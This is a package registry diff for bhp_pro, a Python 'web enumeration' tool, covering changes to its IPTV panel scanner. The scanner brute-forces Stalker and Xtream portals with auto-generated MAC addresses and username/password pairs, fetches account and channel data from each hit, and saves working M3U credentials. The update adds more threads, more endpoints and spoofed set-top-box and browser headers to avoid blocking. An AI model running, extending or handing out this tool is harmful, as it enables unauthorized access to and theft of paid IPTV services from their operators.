bhp-pro 1.1.8__py3-none-any.whl → 1.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bhp_pro
3
- Version: 1.1.8
3
+ Version: 1.2.0
4
4
  Summary: Web Enumeration Tool
5
5
  Author: ssskingsss12
6
6
  Author-email: smalls3000i@gmail.com
@@ -0,0 +1,6 @@
1
+ bhp_pro.py,sha256=eaqv7k53aadg48O0PFOX-06iCpMo5--YaBCFnf0pMrg,704935
2
+ bhp_pro-1.2.0.dist-info/METADATA,sha256=d2n37KW5QGHhPzj94mRxIH6Esh1EL0_37ImDZpGinm8,600
3
+ bhp_pro-1.2.0.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
4
+ bhp_pro-1.2.0.dist-info/entry_points.txt,sha256=Yn3HpraGX3lXX4FPq3Gm-lHh3SwQA-5rtgPWNWMFXkw,41
5
+ bhp_pro-1.2.0.dist-info/top_level.txt,sha256=1xjbIaVM77UJz9Tsi1JjILgE0YDG7iLhY6KSMNEi9zM,8
6
+ bhp_pro-1.2.0.dist-info/RECORD,,
bhp_pro.py CHANGED
@@ -14015,13 +14015,15 @@ def iptvscan():
14015
14015
  import sys
14016
14016
  import hashlib
14017
14017
  import json
14018
+ import socket
14018
14019
  from datetime import datetime
14019
- from urllib.parse import quote
14020
+ from urllib.parse import quote, urlparse
14020
14021
 
14021
14022
  # Disable SSL warnings
14022
14023
  import urllib3
14023
14024
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
14024
14025
 
14026
+ generate_ascii_banner("iptv", "scanner")
14025
14027
  class IPTVScanner:
14026
14028
  def __init__(self):
14027
14029
  self.session = requests.Session()
@@ -14035,31 +14037,65 @@ def iptvscan():
14035
14037
  self.panel_queue = []
14036
14038
  self.panel_threads = []
14037
14039
  self.panel_lock = threading.Lock()
14038
- self.max_panel_threads = 3 # concurrent panels
14039
- self.scanned_lock = threading.Lock() # Add lock for thread safety
14040
- self.current_panel = "None" # Track current panel being scanned
14041
- self.valid_panels = [] # Store valid panels for scanning
14040
+ self.max_panel_threads = 20
14041
+ self.scanned_lock = threading.Lock()
14042
+ self.current_panel = "None"
14043
+ self.valid_panels = []
14044
+
14045
+ def is_server_reachable(self, hostname, port, timeout=3):
14046
+ """Check if a server is reachable using socket connection"""
14047
+ try:
14048
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14049
+ s.settimeout(timeout)
14050
+ result = s.connect_ex((hostname, port))
14051
+ s.close()
14052
+ return result == 0
14053
+ except:
14054
+ return False
14042
14055
 
14043
14056
  # ---------------- URL Validation Function ---------------- #
14044
- def validate_url(self, url, timeout=5):
14057
+ def validate_url(self, url, timeout=3):
14045
14058
  """
14046
- Validate a URL by checking its HTTP status code
14059
+ Validate a URL by checking its HTTP status code with better headers and user agents
14047
14060
  Returns: (is_valid, status_code, final_url)
14048
14061
  """
14049
14062
  try:
14050
14063
  if not url.startswith('http'):
14051
14064
  url = 'http://' + url
14052
14065
 
14053
- response = self.session.head(url, timeout=timeout, allow_redirects=True)
14066
+ # Use more realistic headers to avoid being blocked
14067
+ headers = {
14068
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
14069
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
14070
+ 'Accept-Language': 'en-US,en;q=0.5',
14071
+ 'Connection': 'keep-alive',
14072
+ 'Upgrade-Insecure-Requests': '1',
14073
+ }
14074
+
14075
+ # Try GET request with proper headers
14076
+ response = self.session.get(url, headers=headers, timeout=timeout, allow_redirects=True, stream=True)
14054
14077
  status_code = response.status_code
14055
14078
 
14056
- # Consider 200-309 as valid, 400+ as invalid
14057
- if 200 <= status_code <= 309:
14079
+ # Consider 200-499 as valid (some panels return 403 but are actually working)
14080
+ if 200 <= status_code < 500:
14058
14081
  return True, status_code, response.url
14059
14082
  else:
14060
14083
  return False, status_code, response.url
14061
14084
 
14062
14085
  except requests.exceptions.RequestException as e:
14086
+ # Try one more time with a different approach - just check if domain is reachable
14087
+ try:
14088
+ # Extract just the domain:port
14089
+ parsed = urlparse(url if url.startswith('http') else 'http://' + url)
14090
+ domain_port = f"{parsed.hostname}:{parsed.port}" if parsed.port else parsed.hostname
14091
+
14092
+ # Try connecting to the port directly
14093
+ port_num = parsed.port if parsed.port else 80
14094
+ if self.is_server_reachable(parsed.hostname, port_num, timeout):
14095
+ return True, "PortOpen", url
14096
+ except:
14097
+ pass
14098
+
14063
14099
  return False, "Error", url
14064
14100
  except Exception as e:
14065
14101
  return False, "Exception", url
@@ -14078,10 +14114,12 @@ def iptvscan():
14078
14114
  is_valid, status_code, final_url = self.validate_url(url)
14079
14115
 
14080
14116
  if is_valid:
14081
- print(f"\033[92m[{i}] VALID: {url} Status: {status_code}\033[0m")
14117
+ status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
14118
+ print(f"\033[92m[{i}] VALID: {url} → {status_display}\033[0m")
14082
14119
  valid_urls.append(url)
14083
14120
  else:
14084
- print(f"\033[91m[{i}] INVALID: {url} Status: {status_code}\033[0m")
14121
+ status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
14122
+ print(f"\033[91m[{i}] INVALID: {url} → {status_display}\033[0m")
14085
14123
  invalid_urls.append((url, status_code))
14086
14124
 
14087
14125
  # Show statistics
@@ -14092,7 +14130,18 @@ def iptvscan():
14092
14130
  if invalid_urls:
14093
14131
  print("\n\033[93mInvalid URLs (will be skipped):\033[0m")
14094
14132
  for url, status in invalid_urls:
14095
- print(f" {url} Status: {status}")
14133
+ status_display = f"Status: {status}" if isinstance(status, int) else f"Status: {status}"
14134
+ print(f" {url} → {status_display}")
14135
+
14136
+ # Ask if user wants to include some invalid URLs that might still work
14137
+ include_invalid = "n"
14138
+ if include_invalid == "y":
14139
+ for url, status in invalid_urls:
14140
+ if status == 403 or status == "PortOpen": # 403 might still work, port is open
14141
+ include = "y"
14142
+ if include == "y":
14143
+ valid_urls.append(url)
14144
+ print(f"\033[93mAdded {url} to scan list\033[0m")
14096
14145
 
14097
14146
  return valid_urls
14098
14147
 
@@ -14126,8 +14175,8 @@ def iptvscan():
14126
14175
 
14127
14176
  # ---------------- Choose MAC mode ---------------- #
14128
14177
  def choose_mac_mode(self):
14129
- choice = input("Do you want to test a specific MAC or auto-generate? (single(s)/auto) [auto]: ").strip().lower() or "auto"
14130
- if choice == 'single' or choice == 's':
14178
+ choice = input("Do you want to test a specific MAC or auto-generate? (specific/auto) [auto]: ").strip().lower() or "auto"
14179
+ if choice == 'specific':
14131
14180
  specific_mac = input("Enter MAC to test: ").strip()
14132
14181
  mac_case = input("MAC case (upper/lower) [upper]: ").strip().lower() or "upper"
14133
14182
  return choice, specific_mac, mac_case, 1
@@ -14141,20 +14190,37 @@ def iptvscan():
14141
14190
  return choice, None, 'upper', mac_count
14142
14191
 
14143
14192
  # ---------------- Panel testing functions ---------------- #
14144
- def test_panel(self, panel_url, mac, timeout=10):
14193
+ def test_panel(self, panel_url, mac, timeout=3):
14145
14194
  try:
14146
- original_panel = panel_url # Store the original panel URL
14195
+ original_panel = panel_url
14147
14196
  if not panel_url.startswith('http'):
14148
14197
  panel_url = 'http://' + panel_url
14149
- server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
14198
+
14199
+ # Extract server and port
14200
+ parsed = urlparse(panel_url)
14201
+ server = parsed.hostname
14202
+ port = parsed.port if parsed.port else 80
14203
+
14204
+ # First check if server is reachable
14205
+ if not self.is_server_reachable(server, port, timeout=3):
14206
+ return {'success': False, 'error': 'Server not reachable'}
14207
+
14150
14208
  tkk = self.generate_random_string(32)
14151
14209
 
14210
+ # Try different endpoint patterns
14152
14211
  endpoints = [
14153
14212
  f"http://{server}/server/load.php",
14154
14213
  f"http://{server}/portal.php",
14155
- f"http://{server}/c/portal.php"
14214
+ f"http://{server}/c/portal.php",
14215
+ f"http://{server}/panel/portal.php",
14216
+ f"http://{server}/stalker_portal/server/load.php",
14217
+ f"http://{server}/stalker_portal/c/portal.php"
14156
14218
  ]
14157
14219
 
14220
+ # Add the original URL as a potential endpoint
14221
+ if panel_url not in endpoints:
14222
+ endpoints.insert(0, panel_url)
14223
+
14158
14224
  headers = {
14159
14225
  'User-Agent': 'Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 1812 Mobile Safari/533.3',
14160
14226
  'X-User-Agent': 'Model: MAG250; Link: WiFi',
@@ -14168,16 +14234,37 @@ def iptvscan():
14168
14234
 
14169
14235
  auth_token = None
14170
14236
  working_endpoint = None
14237
+
14171
14238
  for endpoint in endpoints:
14172
14239
  try:
14173
- handshake_url = f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml"
14174
- response = self.session.get(handshake_url, headers=headers, timeout=timeout)
14175
- if response.status_code == 200 and '"token":"' in response.text:
14176
- token_match = re.search(r'"token":"([^"]+)"', response.text)
14177
- if token_match:
14178
- auth_token = token_match.group(1)
14179
- working_endpoint = endpoint
14180
- break
14240
+ # Try different parameter formats
14241
+ handshake_urls = [
14242
+ f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml",
14243
+ f"{endpoint}?type=stb&action=handshake&JsHttpRequest=1-xml",
14244
+ f"{endpoint}?action=handshake&type=stb&token={tkk}"
14245
+ ]
14246
+
14247
+ for handshake_url in handshake_urls:
14248
+ try:
14249
+ response = self.session.get(handshake_url, headers=headers, timeout=timeout)
14250
+ if response.status_code == 200 and ('"token":"' in response.text or 'token' in response.text):
14251
+ # Try different patterns to extract token
14252
+ token_match = re.search(r'"token":"([^"]+)"', response.text)
14253
+ if not token_match:
14254
+ token_match = re.search(r'"token":\s*"([^"]+)"', response.text)
14255
+ if not token_match:
14256
+ token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)', response.text)
14257
+
14258
+ if token_match:
14259
+ auth_token = token_match.group(1)
14260
+ working_endpoint = endpoint
14261
+ break
14262
+ except:
14263
+ continue
14264
+
14265
+ if auth_token:
14266
+ break
14267
+
14181
14268
  except:
14182
14269
  continue
14183
14270
 
@@ -14186,23 +14273,73 @@ def iptvscan():
14186
14273
 
14187
14274
  headers['Authorization'] = f'Bearer {auth_token}'
14188
14275
 
14189
- profile_url = f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml"
14190
- profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
14191
- if profile_response.status_code != 200:
14276
+ # Try different profile URL patterns
14277
+ profile_urls = [
14278
+ f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml",
14279
+ f"{working_endpoint}?action=get_profile&type=stb&JsHttpRequest=1-xml"
14280
+ ]
14281
+
14282
+ profile_response = None
14283
+ for profile_url in profile_urls:
14284
+ try:
14285
+ profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
14286
+ if profile_response.status_code == 200:
14287
+ break
14288
+ except:
14289
+ continue
14290
+
14291
+ if not profile_response or profile_response.status_code != 200:
14192
14292
  return {'success': False, 'error': 'Profile request failed'}
14193
14293
 
14194
- account_url = f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml"
14195
- account_response = self.session.get(account_url, headers=headers, timeout=timeout)
14196
- if account_response.status_code != 200:
14294
+ # Try different account info URL patterns
14295
+ account_urls = [
14296
+ f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml",
14297
+ f"{working_endpoint}?action=get_main_info&type=account_info&JsHttpRequest=1-xml"
14298
+ ]
14299
+
14300
+ account_response = None
14301
+ for account_url in account_urls:
14302
+ try:
14303
+ account_response = self.session.get(account_url, headers=headers, timeout=timeout)
14304
+ if account_response.status_code == 200:
14305
+ break
14306
+ except:
14307
+ continue
14308
+
14309
+ if not account_response or account_response.status_code != 200:
14197
14310
  return {'success': False, 'error': 'Account info request failed'}
14198
14311
 
14199
14312
  account_text = account_response.text
14200
14313
  exp_match = re.search(r'"phone":"([^"]+)"', account_text) or re.search(r'"end_date":"([^"]+)"', account_text)
14201
14314
  exp_date = exp_match.group(1) if exp_match else "Unknown"
14202
14315
 
14203
- channels_url = f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml"
14204
- channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
14205
- channel_count = len(re.findall(r'"ch_id":"', channels_response.text)) if channels_response.status_code == 200 else 0
14316
+ # Try different channels URL patterns
14317
+ channels_urls = [
14318
+ f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml",
14319
+ f"{working_endpoint}?action=get_all_channels&type=itv&JsHttpRequest=1-xml"
14320
+ ]
14321
+
14322
+ channels_response = None
14323
+ for channels_url in channels_urls:
14324
+ try:
14325
+ channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
14326
+ if channels_response.status_code == 200:
14327
+ break
14328
+ except:
14329
+ continue
14330
+
14331
+ channel_count = 0
14332
+ if channels_response and channels_response.status_code == 200:
14333
+ # Try different patterns to count channels
14334
+ channel_count = len(re.findall(r'"ch_id":"', channels_response.text))
14335
+ if channel_count == 0:
14336
+ channel_count = len(re.findall(r'"id":', channels_response.text))
14337
+ if channel_count == 0:
14338
+ channel_count = len(re.findall(r'"name":', channels_response.text))
14339
+
14340
+ # Check if channels are 0 - if so, don't consider it a hit
14341
+ if channel_count == 0:
14342
+ return {'success': False, 'error': 'No channels found'}
14206
14343
 
14207
14344
  link_url = f"{working_endpoint}?type=itv&action=create_link&forced_storage=undefined&download=0&cmd=ffmpeg%20http%3A%2F%2Flocalhost%2Fch%2F181212_&JsHttpRequest=1-xml"
14208
14345
  link_response = self.session.get(link_url, headers=headers, timeout=timeout)
@@ -14221,7 +14358,7 @@ def iptvscan():
14221
14358
 
14222
14359
  m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
14223
14360
  try:
14224
- m3u_response = self.session.get(m3u_url, headers=headers, timeout=5)
14361
+ m3u_response = self.session.get(m3u_url, headers=headers, timeout=3)
14225
14362
  m3u_status = "Working" if m3u_response.status_code == 200 else "Not Working"
14226
14363
  except:
14227
14364
  m3u_status = "Error"
@@ -14246,7 +14383,7 @@ def iptvscan():
14246
14383
  'success': True,
14247
14384
  'mac': mac,
14248
14385
  'panel': server,
14249
- 'original_panel': original_panel, # Save the original panel input
14386
+ 'original_panel': original_panel,
14250
14387
  'endpoint': working_endpoint,
14251
14388
  'exp_date': exp_date,
14252
14389
  'channels': channel_count,
@@ -14264,42 +14401,66 @@ def iptvscan():
14264
14401
  except Exception as e:
14265
14402
  return {'success': False, 'error': str(e)}
14266
14403
 
14267
- def test_m3u_credentials(self, panel_url, username, password, timeout=8):
14404
+ def test_m3u_credentials(self, panel_url, username, password, timeout=3):
14268
14405
  try:
14269
- original_panel = panel_url # Store the original panel URL
14406
+ original_panel = panel_url
14270
14407
  if not panel_url.startswith('http'):
14271
14408
  panel_url = 'http://' + panel_url
14272
14409
  server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
14273
14410
 
14274
14411
  headers = {
14275
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
14412
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
14276
14413
  'Accept': '*/*',
14277
14414
  'Connection': 'close',
14278
14415
  'Host': server
14279
14416
  }
14280
14417
 
14281
- m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
14282
- resp = self.session.get(m3u_url, headers=headers, timeout=timeout)
14283
- body = resp.text if resp else ''
14284
- ok = resp.status_code == 200 and ('#EXTM3U' in body or len(body) > 50)
14418
+ # Try different M3U URL patterns
14419
+ m3u_urls = [
14420
+ f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus",
14421
+ f"http://{server}/get.php?username={username}&password={password}&type=m3u",
14422
+ f"http://{server}/panel_api.php?username={username}&password={password}&action=get_live_streams",
14423
+ f"http://{server}/player_api.php?username={username}&password={password}&action=get_live_streams"
14424
+ ]
14425
+
14426
+ ok = False
14427
+ m3u_url = m3u_urls[0]
14428
+ body = ''
14429
+ status_code = 0
14430
+
14431
+ for test_url in m3u_urls:
14432
+ try:
14433
+ resp = self.session.get(test_url, headers=headers, timeout=timeout)
14434
+ status_code = resp.status_code
14435
+ body = resp.text if resp else ''
14436
+
14437
+ # Check for various success indicators
14438
+ if (resp.status_code == 200 and
14439
+ ('#EXTM3U' in body or 'http://' in body or '.m3u8' in body or
14440
+ len(body) > 100 or 'channel' in body.lower() or 'stream' in body.lower())):
14441
+ ok = True
14442
+ m3u_url = test_url
14443
+ break
14444
+ except:
14445
+ continue
14285
14446
 
14286
14447
  # Test EPG URL
14287
14448
  epg_url = f"http://{server}/xmltv.php?username={username}&password={password}"
14288
14449
  try:
14289
- epg_resp = self.session.get(epg_url, headers=headers, timeout=5)
14450
+ epg_resp = self.session.get(epg_url, headers=headers, timeout=3)
14290
14451
  epg_status = "Working" if epg_resp.status_code == 200 and 'xml' in epg_resp.text.lower() else "Not Working"
14291
14452
  except:
14292
14453
  epg_status = "Error"
14293
14454
 
14294
14455
  return {
14295
14456
  'success': ok,
14296
- 'status_code': resp.status_code,
14457
+ 'status_code': status_code,
14297
14458
  'm3u_url': m3u_url,
14298
14459
  'epg_url': epg_url,
14299
14460
  'epg_status': epg_status,
14300
14461
  'username': username,
14301
14462
  'password': password,
14302
- 'original_panel': original_panel, # Save the original panel input
14463
+ 'original_panel': original_panel,
14303
14464
  'body_snippet': body[:200] if body else ''
14304
14465
  }
14305
14466
 
@@ -14324,7 +14485,7 @@ def iptvscan():
14324
14485
  f.write(f"Mode: {mode}\n")
14325
14486
  if mode == 'mac':
14326
14487
  f.write(f"MAC: {result.get('mac')}\n")
14327
- f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n") # Save original panel
14488
+ f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
14328
14489
  if 'endpoint' in result:
14329
14490
  f.write(f"Endpoint: {result.get('endpoint')}\n")
14330
14491
  if 'exp_date' in result:
@@ -14365,19 +14526,16 @@ def iptvscan():
14365
14526
  def worker(self, panel_url, mode='mac', mac_case='upper', prefix_index=0, creds_min=5, creds_max=15, mac_count=0):
14366
14527
  self.active_threads += 1
14367
14528
  try:
14368
- # Set the current panel for display
14369
14529
  self.current_panel = panel_url
14370
14530
 
14371
14531
  while self.running:
14372
- # Check global count first
14373
14532
  if mac_count > 0 and self.scanned_count >= mac_count:
14374
14533
  break
14375
14534
 
14376
14535
  if mode == 'mac':
14377
14536
  mac = self.generate_mac(prefix_index, mac_case)
14378
- result = self.test_panel(panel_url, mac, timeout=15)
14537
+ result = self.test_panel(panel_url, mac, timeout=3)
14379
14538
 
14380
- # Thread-safe counter update
14381
14539
  with self.scanned_lock:
14382
14540
  self.scanned_count += 1
14383
14541
  current_count = self.scanned_count
@@ -14387,8 +14545,9 @@ def iptvscan():
14387
14545
  print(f" Exp: {result.get('exp_date')} | Channels: {result.get('channels')} | M3U: {result.get('m3u_status')}")
14388
14546
  self.save_hit(result, mode='mac')
14389
14547
 
14548
+ # Update status display
14549
+ sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14390
14550
  else:
14391
- # Credentials mode
14392
14551
  if mac_count > 0 and self.scanned_count >= mac_count:
14393
14552
  break
14394
14553
 
@@ -14407,25 +14566,21 @@ def iptvscan():
14407
14566
  print(f" M3U URL: {result.get('m3u_url')}")
14408
14567
  self.save_hit(result, mode='creds')
14409
14568
 
14410
- # Update status display - reduced verbosity
14411
- if self.scanned_count % 1 == 0 or self.scanned_count == 1:
14412
- sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14413
- sys.stdout.flush()
14414
-
14415
- # Check if we've reached the limit
14569
+ # Update status display
14570
+ sys.stdout.write(f"\rScanned: {self.scanned_count} | Creds: {username}:{password} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14571
+
14416
14572
  if mac_count > 0 and self.scanned_count >= mac_count:
14417
14573
  break
14418
14574
 
14419
14575
  time.sleep(0.1)
14420
14576
  finally:
14421
14577
  self.active_threads -= 1
14422
- self.current_panel = "None" # Reset when done
14578
+ self.current_panel = "None"
14423
14579
 
14424
14580
  # ---------------- Panel thread runner ---------------- #
14425
14581
  def panel_runner(self, panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count):
14426
- # Adjust thread count based on requested MAC count
14427
14582
  if mac_count > 0:
14428
- thread_count = min(18, max(1, mac_count // 10)) # Scale threads with count
14583
+ thread_count = min(20, max(1, mac_count // 10))
14429
14584
  else:
14430
14585
  thread_count = 100
14431
14586
 
@@ -14437,18 +14592,15 @@ def iptvscan():
14437
14592
  threads.append(t)
14438
14593
 
14439
14594
  try:
14440
- # Properly wait for all threads to finish
14441
14595
  for t in threads:
14442
- t.join() # <-- join each thread, blocking until all threads finish
14596
+ t.join()
14443
14597
  except KeyboardInterrupt:
14444
14598
  self.running = False
14445
14599
  for t in threads:
14446
14600
  t.join(timeout=1)
14447
14601
 
14448
-
14449
14602
  # ---------------- Main scanner function ---------------- #
14450
14603
  def run_scanner(self):
14451
- """Main scanner function that handles the scanning process"""
14452
14604
  print("\033[95m" + "="*60)
14453
14605
  print(" IPTV PANEL SCANNER")
14454
14606
  print("="*60 + "\033[0m")
@@ -14477,8 +14629,7 @@ def iptvscan():
14477
14629
  if not valid_panels:
14478
14630
  print("\n\033[91mNo valid URLs to scan. Exiting.\033[0m")
14479
14631
  return
14480
-
14481
- # Ask if user wants to continue with only valid URLs
14632
+
14482
14633
  continue_scan = "y"
14483
14634
  if continue_scan != "y":
14484
14635
  print("Scan cancelled.")
@@ -14488,8 +14639,18 @@ def iptvscan():
14488
14639
 
14489
14640
  # MAC choice / count
14490
14641
  mac_choice, specific_mac, mac_case, mac_count = ('auto', None, 'upper', 0)
14642
+ creds_count = 0 # Add this variable for credentials count
14643
+
14491
14644
  if mode == 'mac':
14492
14645
  mac_choice, specific_mac, mac_case, mac_count = self.choose_mac_mode()
14646
+ else:
14647
+ # Add prompt for number of credentials to generate
14648
+ creds_count_input = input("Enter how many credentials to generate/test: ").strip() or "100"
14649
+ try:
14650
+ creds_count = int(creds_count_input)
14651
+ except ValueError:
14652
+ print(f"Invalid number '{creds_count_input}', using default 100")
14653
+ creds_count = 100
14493
14654
 
14494
14655
  creds_min = 5
14495
14656
  creds_max = 15
@@ -14515,27 +14676,26 @@ def iptvscan():
14515
14676
  self.scanned_count = 0
14516
14677
  self.found_hits = 0
14517
14678
 
14518
- # Run the panel scanner
14519
- self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
14679
+ # Run the panel scanner - pass creds_count for creds mode
14680
+ if mode == 'mac':
14681
+ self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
14682
+ else:
14683
+ self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, creds_count)
14520
14684
 
14521
14685
  # Display results for this panel
14522
14686
  print(f"\nPanel {panel} completed: Scanned {self.scanned_count}, Hits {self.found_hits}")
14523
14687
 
14524
14688
  print(f"\nAll panels processed! Total hits found: {self.found_hits}")
14525
14689
 
14526
- def main():
14527
- """Main function that handles the application flow"""
14690
+ def main00001():
14528
14691
  try:
14529
- # Create scanner instance
14530
14692
  scanner = IPTVScanner()
14531
-
14532
- # Run the scanner
14533
14693
  scanner.run_scanner()
14534
14694
 
14535
14695
  except KeyboardInterrupt:
14536
14696
  print("\n\nScan interrupted by user. Exiting gracefully...")
14537
14697
  scanner.running = False
14538
- time.sleep(1) # Give threads time to clean up
14698
+ time.sleep(1)
14539
14699
 
14540
14700
  except Exception as e:
14541
14701
  print(f"\nAn unexpected error occurred: {e}")
@@ -14545,8 +14705,9 @@ def iptvscan():
14545
14705
  print("\nThank you for using IPTV Panel Scanner!")
14546
14706
  print("Results are saved in the 'hits' folder.")
14547
14707
 
14548
- if __name__ == "__main__":
14549
- main()
14708
+
14709
+ main00001()
14710
+
14550
14711
  def ipcam():
14551
14712
  import requests
14552
14713
  import re
@@ -16065,7 +16226,7 @@ def banner():
16065
16226
  MAGENTA + "██╔═══╝ ██╔══██╗██║ ██║" + LIME + "user should understand that useage of this script may be" + ENDC,
16066
16227
  MAGENTA + "██║ ██║ ██║╚██████╔╝" + LIME + "concidered an attack on a data network, and may violate terms" + ENDC,
16067
16228
  MAGENTA + "╚═╝ ╚═╝ ╚═╝ ╚═════╝" + LIME + "of service, use on your own network or get permission first" + ENDC,
16068
- PURPLE + "script_version@ 1.1.9 ®" + ENDC,
16229
+ PURPLE + "script_version@ 1.2.0 ®" + ENDC,
16069
16230
  ORANGE + "All rights reserved 2022-2025 ♛: ®" + ENDC,
16070
16231
  MAGENTA + "In Collaboration whit Ayan Rajpoot ® " + ENDC,
16071
16232
  BLUE + "Support: https://t.me/BugScanX 💬" + ENDC,
@@ -1,6 +0,0 @@
1
- bhp_pro.py,sha256=BXCI_SDqhnGRcgGKezEyO-S0jtA50iBnbV2Cqbt4O8c,696895
2
- bhp_pro-1.1.8.dist-info/METADATA,sha256=ds0UvJkz5cgcMxbW2uzetiJPKssNobaOsE1qnjVPvLI,600
3
- bhp_pro-1.1.8.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
4
- bhp_pro-1.1.8.dist-info/entry_points.txt,sha256=Yn3HpraGX3lXX4FPq3Gm-lHh3SwQA-5rtgPWNWMFXkw,41
5
- bhp_pro-1.1.8.dist-info/top_level.txt,sha256=1xjbIaVM77UJz9Tsi1JjILgE0YDG7iLhY6KSMNEi9zM,8
6
- bhp_pro-1.1.8.dist-info/RECORD,,